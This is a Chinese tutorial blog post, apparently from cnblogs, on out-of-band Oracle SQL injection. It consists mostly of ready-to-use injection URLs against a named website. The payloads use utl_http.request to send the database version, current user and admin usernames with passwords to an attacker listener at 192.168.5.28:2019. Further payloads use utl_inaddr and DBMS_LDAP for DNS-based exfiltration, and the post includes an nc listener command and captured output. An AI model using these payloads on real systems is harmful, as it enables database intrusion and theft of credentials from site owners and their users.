zoukankan      html  css  js  c++  java
  • Oracle注入之带外通信

    Oracle注入之带外通信DNSLOG注入非常相似,例如和mysql中load_file()函数实现无回显注入非常相似。

    下面介绍这个技术中常用的函数和使用。


    环境这里准备两台测试,一台注入点的靶机,一台接受回显数据的平台。

    接受的数据的靶机:

    nc -vvlp 2008

    0x01 utl_http.request()函数

     通过utl_http.request我们可以将查询的结果发送到远程服务器上,在遇到盲注时非常有用,要使用该方法用户需要有utl_http访问网络的权限。

    检测是否支持utl_http.request
    utl_http.request 页面正常 支持

    http://www.jsporcle.com/news.jsp?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --

    反弹注入命令

    and utl_http.request('http://域名或者ip:端口/'||(注入的语句))=1 --
    注意|| 注意转码%7C%7C

     例如这里使用

    select banner from sys.v_$version where rownum=1查询oracle数据库版本指纹
    http://www.jsporcle.com/news.jsp?id=1 and utl_http.request('http://192.168.5.28:2019/'||(select banner from sys.v_$version where rownum=1))=1--

    GET /Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Productio
    n HTTP/1.1

    查看当前连接用户 select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual

    http://www.jsporcle.com/news.jsp?id=1 and utl_http.request('http://192.168.5.28:2019/'%7C%7C(select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual))=1 --

    查询系统用户

    http://www.jsporcle.com/news.jsp?id=1 and%20 utl_http.request('http://192.168.5.28:2019/'%7c%7c (select user from dual))=1--
    http://www.jsporcle.com/news.jsp?id=1 and%20 utl_http.request('http://192.168.5.28:2019/'%7c%7c(select member from v$logfile where rownum=1))=1--
    http://www.jsporcle.com/news.jsp?id=1%20and%20%20utl_http.request(%27http://192.168.5.28:2019/%27%7c%7c(select%20instance_name%20from%20v$instance))=1--

    查询admin的帐号和密码

    http://www.jsporcle.com/news.jsp?id=1 and utl_http.request('http://192.168.5.28:2019/'%7c%7c(select username%7c%7cpassword from admin))=1 --

    以下是常用的一些命令。

    1 当前用户权限 (select * from session_roles)
    2 当前数据库版本 ( select banner from sys.v_$version where rownum=1)
    3 服务器出口IP (用utl_http.request 可以实现)
    4 服务器监听IP (select utl_inaddr.get_host_address from dual)
    5 服务器操作系统 (select member from v$logfile where rownum=1)
    6 服务器sid ( 远程连接的话需要, select instance_name fromv$instance;)
    7 当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual)

    0x02 utl_inaddr.get_host_address()函数

    and (select utl_inaddr.get_host_address((select user fromdual)||'.aaa.com(自己搭建dnslog)') from dual)is not null --

    0x03 SYS.DBMS_LDAP.INIT()函数

    and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.aaaa.com(自己搭建dnslog)') from dual)is not null --

     三种函数用法效果大同小异,具体视情况使用即可。

  • 相关阅读:
    SecureCRT
    MySQL
    流式计算概述
    WEB加密算法
    drop、truncate和delete的区别
    JVM参数
    HTTP1.0与HTTP1.1区别
    HTTP请求方法
    Java查看JVM转态的命令总结
    go二次更新
  • 原文地址:https://www.cnblogs.com/-qing-/p/10952341.html
Copyright © 2011-2022 走看看